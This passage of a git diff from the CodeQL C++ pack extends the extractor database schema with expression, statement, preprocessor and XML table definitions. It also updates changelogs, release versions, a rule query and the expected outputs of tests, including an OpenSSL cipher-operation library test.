+| 39 = @lshiftexpr
+| 40 = @rshiftexpr
+| 41 = @andexpr
+| 42 = @orexpr
+| 43 = @xorexpr
+| 44 = @eqexpr
+| 45 = @neexpr
+| 46 = @gtexpr
+| 47 = @ltexpr
+| 48 = @geexpr
+| 49 = @leexpr
+| 50 = @minexpr // GNU minimum
+| 51 = @maxexpr // GNU maximum
+| 52 = @assignexpr
+| 53 = @assignaddexpr
+| 54 = @assignsubexpr
+| 55 = @assignmulexpr
+| 56 = @assigndivexpr
+| 57 = @assignremexpr
+| 58 = @assignlshiftexpr
+| 59 = @assignrshiftexpr
+| 60 = @assignandexpr
+| 61 = @assignorexpr
+| 62 = @assignxorexpr
+| 63 = @assignpaddexpr // assign pointer add
+| 64 = @assignpsubexpr // assign pointer sub
+| 65 = @andlogicalexpr
+| 66 = @orlogicalexpr
+| 67 = @commaexpr
+| 68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ... 69 @objc_subscriptexpr deprecated
+// ... 70 @cmdaccess deprecated
+// ...
+| 73 = @virtfunptrexpr
+| 74 = @callexpr
+// ... 75 @msgexpr_normal deprecated
+// ... 76 @msgexpr_super deprecated
+// ... 77 @atselectorexpr deprecated
+// ... 78 @atprotocolexpr deprecated
+| 79 = @vastartexpr
+| 80 = @vaargexpr
+| 81 = @vaendexpr
+| 82 = @vacopyexpr
+// ... 83 @atencodeexpr deprecated
+| 84 = @varaccess
+| 85 = @thisaccess
+// ... 86 @objc_box_expr deprecated
+| 87 = @new_expr
+| 88 = @delete_expr
+| 89 = @throw_expr
+| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+| 91 = @braced_init_list
+| 92 = @type_id
+| 93 = @runtime_sizeof
+| 94 = @runtime_alignof
+| 95 = @sizeof_pack
+| 96 = @expr_stmt // GNU extension
+| 97 = @routineexpr
+| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+| 99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+| 330 = @isassignable
+| 331 = @isaggregate
+| 332 = @hasuniqueobjectrepresentations
+| 333 = @builtinbitcast
+| 334 = @builtinshuffle
+| 335 = @blockassignexpr
+| 336 = @issame
+| 337 = @isfunction
+| 338 = @islayoutcompatible
+| 339 = @ispointerinterconvertiblebaseof
+| 340 = @isarray
+| 341 = @arrayrank
+| 342 = @arrayextent
+| 343 = @isarithmetic
+| 344 = @iscompletetype
+| 345 = @iscompound
+| 346 = @isconst
+| 347 = @isfloatingpoint
+| 348 = @isfundamental
+| 349 = @isintegral
+| 350 = @islvaluereference
+| 351 = @ismemberfunctionpointer
+| 352 = @ismemberobjectpointer
+| 353 = @ismemberpointer
+| 354 = @isobject
+| 355 = @ispointer
+| 356 = @isreference
+| 357 = @isrvaluereference
+| 358 = @isscalar
+| 359 = @issigned
+| 360 = @isunsigned
+| 361 = @isvoid
+| 362 = @isvolatile
+| 363 = @reuseexpr
+| 364 = @istriviallycopyassignable
+| 365 = @isassignablenopreconditioncheck
+| 366 = @referencebindstotemporary
+| 367 = @issameas
+| 368 = @builtinhasattribute
+| 369 = @ispointerinterconvertiblewithclass
+| 370 = @builtinispointerinterconvertiblewithclass
+| 371 = @iscorrespondingmember
+| 372 = @builtiniscorrespondingmember
+| 373 = @isboundedarray
+| 374 = @isunboundedarray
+| 375 = @isreferenceable
+| 378 = @isnothrowconvertible
+| 379 = @referenceconstructsfromtemporary
+| 380 = @referenceconvertsfromtemporary
+| 381 = @isconvertible
+| 382 = @isvalidwinrttype
+| 383 = @iswinclass
+| 384 = @iswininterface
+| 385 = @istriviallyequalitycomparable
+| 386 = @isscopedenum
+| 387 = @istriviallyrelocatable
+| 388 = @datasizeof
+| 389 = @c11_generic
+| 390 = @requires_expr
+| 391 = @nested_requirement
+| 392 = @compound_requirement
+| 393 = @concept_id
+;
+
+@var_args_expr = @vastartexpr
+ | @vaendexpr
+ | @vaargexpr
+ | @vacopyexpr
+ ;
+
+@builtin_op = @var_args_expr
+ | @noopexpr
+ | @offsetofexpr
+ | @intaddrexpr
+ | @hasassignexpr
+ | @hascopyexpr
+ | @hasnothrowassign
+ | @hasnothrowconstr
+ | @hasnothrowcopy
+ | @hastrivialassign
+ | @hastrivialconstr
+ | @hastrivialcopy
+ | @hastrivialdestructor
+ | @hasuserdestr
+ | @hasvirtualdestr
+ | @isabstractexpr
+ | @isbaseofexpr
+ | @isclassexpr
+ | @isconvtoexpr
+ | @isemptyexpr
+ | @isenumexpr
+ | @ispodexpr
+ | @ispolyexpr
+ | @isunionexpr
+ | @typescompexpr
+ | @builtinshufflevector
+ | @builtinconvertvector
+ | @builtinaddressof
+ | @istriviallyconstructibleexpr
+ | @isdestructibleexpr
+ | @isnothrowdestructibleexpr
+ | @istriviallydestructibleexpr
+ | @istriviallyassignableexpr
+ | @isnothrowassignableexpr
+ | @istrivialexpr
+ | @isstandardlayoutexpr
+ | @istriviallycopyableexpr
+ | @isliteraltypeexpr
+ | @hastrivialmoveconstructorexpr
+ | @hastrivialmoveassignexpr
+ | @hasnothrowmoveassignexpr
+ | @isconstructibleexpr
+ | @isnothrowconstructibleexpr
+ | @hasfinalizerexpr
+ | @isdelegateexpr
+ | @isinterfaceclassexpr
+ | @isrefarrayexpr
+ | @isrefclassexpr
+ | @issealedexpr
+ | @issimplevalueclassexpr
+ | @isvalueclassexpr
+ | @isfinalexpr
+ | @builtinchooseexpr
+ | @builtincomplex
+ | @isassignable
+ | @isaggregate
+ | @hasuniqueobjectrepresentations
+ | @builtinbitcast
+ | @builtinshuffle
+ | @issame
+ | @isfunction
+ | @islayoutcompatible
+ | @ispointerinterconvertiblebaseof
+ | @isarray
+ | @arrayrank
+ | @arrayextent
+ | @isarithmetic
+ | @iscompletetype
+ | @iscompound
+ | @isconst
+ | @isfloatingpoint
+ | @isfundamental
+ | @isintegral
+ | @islvaluereference
+ | @ismemberfunctionpointer
+ | @ismemberobjectpointer
+ | @ismemberpointer
+ | @isobject
+ | @ispointer
+ | @isreference
+ | @isrvaluereference
+ | @isscalar
+ | @issigned
+ | @isunsigned
+ | @isvoid
+ | @isvolatile
+ | @istriviallycopyassignable
+ | @isassignablenopreconditioncheck
+ | @referencebindstotemporary
+ | @issameas
+ | @builtinhasattribute
+ | @ispointerinterconvertiblewithclass
+ | @builtinispointerinterconvertiblewithclass
+ | @iscorrespondingmember
+ | @builtiniscorrespondingmember
+ | @isboundedarray
+ | @isunboundedarray
+ | @isreferenceable
+ | @isnothrowconvertible
+ | @referenceconstructsfromtemporary
+ | @referenceconvertsfromtemporary
+ | @isconvertible
+ | @isvalidwinrttype
+ | @iswinclass
+ | @iswininterface
+ | @istriviallyequalitycomparable
+ | @isscopedenum
+ | @istriviallyrelocatable
+ ;
+
+compound_requirement_is_noexcept(
+ int expr: @compound_requirement ref
+);
+
+new_allocated_type(
+ unique int expr: @new_expr ref,
+ int type_id: @type ref
+);
+
+new_array_allocated_type(
+ unique int expr: @new_array_expr ref,
+ int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_field_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int field: @membervariable ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_array_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int element_index: int ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+@ctorinit = @ctordirectinit
+ | @ctorvirtualinit
+ | @ctorfieldinit
+ | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+ | @dtorvirtualdestruct
+ | @dtorfielddestruct;
+
+
+condition_decl_bind(
+ unique int expr: @condition_decl ref,
+ unique int decl: @declaration ref
+);
+
+typeid_bind(
+ unique int expr: @type_id ref,
+ int type_id: @type ref
+);
+
+uuidof_bind(
+ unique int expr: @uuidof ref,
+ int type_id: @type ref
+);
+
+@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack;
+
+sizeof_bind(
+ unique int expr: @sizeof_or_alignof ref,
+ int type_id: @type ref
+);
+
+code_block(
+ unique int block: @literal ref,
+ unique int routine: @function ref
+);
+
+lambdas(
+ unique int expr: @lambdaexpr ref,
+ string default_capture: string ref,
+ boolean has_explicit_return_type: boolean ref,
+ boolean has_explicit_parameter_list: boolean ref
+);
+
+lambda_capture(
+ unique int id: @lambdacapture,
+ int lambda: @lambdaexpr ref,
+ int index: int ref,
+ int field: @membervariable ref,
+ boolean captured_by_reference: boolean ref,
+ boolean is_implicit: boolean ref,
+ int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+ | @new_expr
+ | @delete_expr
+ | @delete_array_expr
+ | @ctordirectinit
+ | @ctorvirtualinit
+ | @ctordelegatinginit
+ | @dtordirectdestruct
+ | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+ int expr: @foldexpr ref,
+ string operator: string ref,
+ boolean is_left_fold: boolean ref
+);
+
+stmts(
+ unique int id: @stmt,
+ int kind: int ref,
+ int location: @location_stmt ref
+);
+
+case @stmt.kind of
+ 1 = @stmt_expr
+| 2 = @stmt_if
+| 3 = @stmt_while
+| 4 = @stmt_goto
+| 5 = @stmt_label
+| 6 = @stmt_return
+| 7 = @stmt_block
+| 8 = @stmt_end_test_while // do { ... } while ( ... )
+| 9 = @stmt_for
+| 10 = @stmt_switch_case
+| 11 = @stmt_switch
+| 13 = @stmt_asm // "asm" statement or the body of an asm function
+| 15 = @stmt_try_block
+| 16 = @stmt_microsoft_try // Microsoft
+| 17 = @stmt_decl
+| 18 = @stmt_set_vla_size // C99
+| 19 = @stmt_vla_decl // C99
+| 25 = @stmt_assigned_goto // GNU
+| 26 = @stmt_empty
+| 27 = @stmt_continue
+| 28 = @stmt_break
+| 29 = @stmt_range_based_for // C++11
+// ... 30 @stmt_at_autoreleasepool_block deprecated
+// ... 31 @stmt_objc_for_in deprecated
+// ... 32 @stmt_at_synchronized deprecated
+| 33 = @stmt_handler
+// ... 34 @stmt_finally_end deprecated
+| 35 = @stmt_constexpr_if
+| 37 = @stmt_co_return
+| 38 = @stmt_consteval_if
+| 39 = @stmt_not_consteval_if
+;
+
+type_vla(
+ int type_id: @type ref,
+ int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+ int var: @variable ref,
+ int decl: @stmt_vla_decl ref
+);
+
+type_is_vla(unique int type_id: @derivedtype ref)
+
+if_initialization(
+ unique int if_stmt: @stmt_if ref,
+ int init_id: @stmt ref
+);
+
+if_then(
+ unique int if_stmt: @stmt_if ref,
+ int then_id: @stmt ref
+);
+
+if_else(
+ unique int if_stmt: @stmt_if ref,
+ int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int init_id: @stmt ref
+);
+
+constexpr_if_then(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int then_id: @stmt ref
+);
+
+constexpr_if_else(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int else_id: @stmt ref
+);
+
+@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if;
+
+consteval_if_then(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int then_id: @stmt ref
+);
+
+consteval_if_else(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int else_id: @stmt ref
+);
+
+while_body(
+ unique int while_stmt: @stmt_while ref,
+ int body_id: @stmt ref
+);
+
+do_body(
+ unique int do_stmt: @stmt_end_test_while ref,
+ int body_id: @stmt ref
+);
+
+switch_initialization(
+ unique int switch_stmt: @stmt_switch ref,
+ int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+ int switch_stmt: @stmt_switch ref,
+ int index: int ref,
+ int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+ unique int switch_stmt: @stmt_switch ref,
+ int body_id: @stmt ref
+);
+
+@stmt_for_or_range_based_for = @stmt_for
+ | @stmt_range_based_for;
+
+for_initialization(
+ unique int for_stmt: @stmt_for_or_range_based_for ref,
+ int init_id: @stmt ref
+);
+
+for_condition(
+ unique int for_stmt: @stmt_for ref,
+ int condition_id: @expr ref
+);
+
+for_update(
+ unique int for_stmt: @stmt_for ref,
+ int update_id: @expr ref
+);
+
+for_body(
+ unique int for_stmt: @stmt_for ref,
+ int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+ unique int id: @stmt ref,
+ int index: int ref,
+ int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl_entry: @element ref
+);
+
+@parameterized_element = @function | @stmt_block | @requires_expr;
+
+blockscope(
+ unique int block: @stmt_block ref,
+ int enclosing: @parameterized_element ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+ unique int id: @jumporlabel ref,
+ string str: string ref,
+ int target: @stmt ref
+);
+
+preprocdirects(
+ unique int id: @preprocdirect,
+ int kind: int ref,
+ int location: @location_default ref
+);
+case @preprocdirect.kind of
+ 0 = @ppd_if
+| 1 = @ppd_ifdef
+| 2 = @ppd_ifndef
+| 3 = @ppd_elif
+| 4 = @ppd_else
+| 5 = @ppd_endif
+| 6 = @ppd_plain_include
+| 7 = @ppd_define
+| 8 = @ppd_undef
+| 9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 14 = @ppd_ms_import
+| 15 = @ppd_elifdef
+| 16 = @ppd_elifndef
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef;
+
+preprocpair(
+ int begin : @ppd_branch ref,
+ int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+ unique int id: @preprocdirect ref,
+ string head: string ref,
+ string body: string ref
+);
+
+includes(
+ unique int id: @ppd_include ref,
+ int included: @file ref
+);
+
+link_targets(
+ int id: @link_target,
+ int binary: @file ref
+);
+
+link_parent(
+ int element : @element ref,
+ int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+ unique int id: @xmldtd,
+ string root: string ref,
+ string publicId: string ref,
+ string systemId: string ref,
+ int fileid: @file ref
+);
+
+xmlElements(
+ unique int id: @xmlelement,
+ string name: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlAttrs(
+ unique int id: @xmlattribute,
+ int elementid: @xmlelement ref,
+ string name: string ref,
+ string value: string ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlNs(
+ int id: @xmlnamespace,
+ string prefixName: string ref,
+ string URI: string ref,
+ int fileid: @file ref
+);
+
+xmlHasNs(
+ int elementId: @xmlnamespaceable ref,
+ int nsId: @xmlnamespace ref,
+ int fileid: @file ref
+);
+
+xmlComments(
+ unique int id: @xmlcomment,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int fileid: @file ref
+);
+
+xmlChars(
+ unique int id: @xmlcharacters,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int isCDATA: int ref,
+ int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+ int xmlElement: @xmllocatable ref,
+ int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+ | @xmlelement
+ | @xmlcomment
+ | @xmlattribute
+ | @xmldtd
+ | @file
+ | @xmlnamespace;
diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties
new file mode 100644
index 00000000000..9dc80bb35fc
--- /dev/null
+++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties
@@ -0,0 +1,3 @@
+description: capture whether a lambda has an explicitly specified parameter list.
+compatibility: backwards
+lambdas.rel: run lambdas.qlo
diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md
index f9880ce5764..4edd493015a 100644
--- a/cpp/ql/src/CHANGELOG.md
+++ b/cpp/ql/src/CHANGELOG.md
@@ -1,3 +1,13 @@
+## 1.4.2
+
+No user-facing changes.
+
+## 1.4.1
+
+### Minor Analysis Improvements
+
+* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries.
+
## 1.4.0
### Query Metadata Changes
diff --git a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md b/cpp/ql/src/change-notes/released/1.4.1.md
similarity index 65%
rename from cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md
rename to cpp/ql/src/change-notes/released/1.4.1.md
index c03bd600ac9..7d1ba66b92e 100644
--- a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md
+++ b/cpp/ql/src/change-notes/released/1.4.1.md
@@ -1,4 +1,5 @@
----
-category: minorAnalysis
----
-* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries.
\ No newline at end of file
+## 1.4.1
+
+### Minor Analysis Improvements
+
+* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries.
diff --git a/cpp/ql/src/change-notes/released/1.4.2.md b/cpp/ql/src/change-notes/released/1.4.2.md
new file mode 100644
index 00000000000..37be01f40d9
--- /dev/null
+++ b/cpp/ql/src/change-notes/released/1.4.2.md
@@ -0,0 +1,3 @@
+## 1.4.2
+
+No user-facing changes.
diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml
index b8b2e97d508..a76cacdf799 100644
--- a/cpp/ql/src/codeql-pack.release.yml
+++ b/cpp/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 1.4.0
+lastReleaseVersion: 1.4.2
diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql
index 8575a431042..85b779903eb 100644
--- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql
+++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql
@@ -98,8 +98,8 @@ private predicate exprReleases(Expr e, Expr released, string kind) {
e.(FunctionCall).getTarget() = f or
e.(FunctionCall).getTarget().(MemberFunction).getAnOverridingFunction+() = f
) and
- access = f.getParameter(arg).getAnAccess() and
- e.(FunctionCall).getArgument(arg) = released and
+ access = f.getParameter(pragma[only_bind_into](arg)).getAnAccess() and
+ e.(FunctionCall).getArgument(pragma[only_bind_into](arg)) = released and
exprReleases(_,
pragma[only_bind_into](exprOrDereference(globalValueNumber(access).getAnExpr())), kind)
)
diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml
index 07c7cb32249..290c18cb815 100644
--- a/cpp/ql/src/qlpack.yml
+++ b/cpp/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/cpp-queries
-version: 1.4.1-dev
+version: 1.4.3-dev
groups:
- cpp
- queries
diff --git a/cpp/ql/test/examples/expressions/PrintAST.expected b/cpp/ql/test/examples/expressions/PrintAST.expected
index 724b109db48..2167ca3f4e5 100644
--- a/cpp/ql/test/examples/expressions/PrintAST.expected
+++ b/cpp/ql/test/examples/expressions/PrintAST.expected
@@ -324,7 +324,7 @@ Conversion3.cpp:
# 2| getExpr(): [CStyleCast] (int)...
# 2| Conversion = [IntegralConversion] integral conversion
# 2| Type = [IntType] int
-# 2| Value = [CStyleCast] 1
+# 2| Value = [CStyleCast] 5
# 2| ValueCategory = prvalue
# 2| getRightOperand().getFullyConverted(): [ParenthesisExpr] (...)
# 2| Type = [IntType] int
diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected
index 074f86fd449..73b0af3ad5f 100644
--- a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected
+++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected
@@ -1,8 +1,16 @@
-| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
-| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
-| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
-| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
-| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
-| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
-| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
-| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
+| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
+| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
+| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
+| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
+| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
+| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
+| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
+| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt |
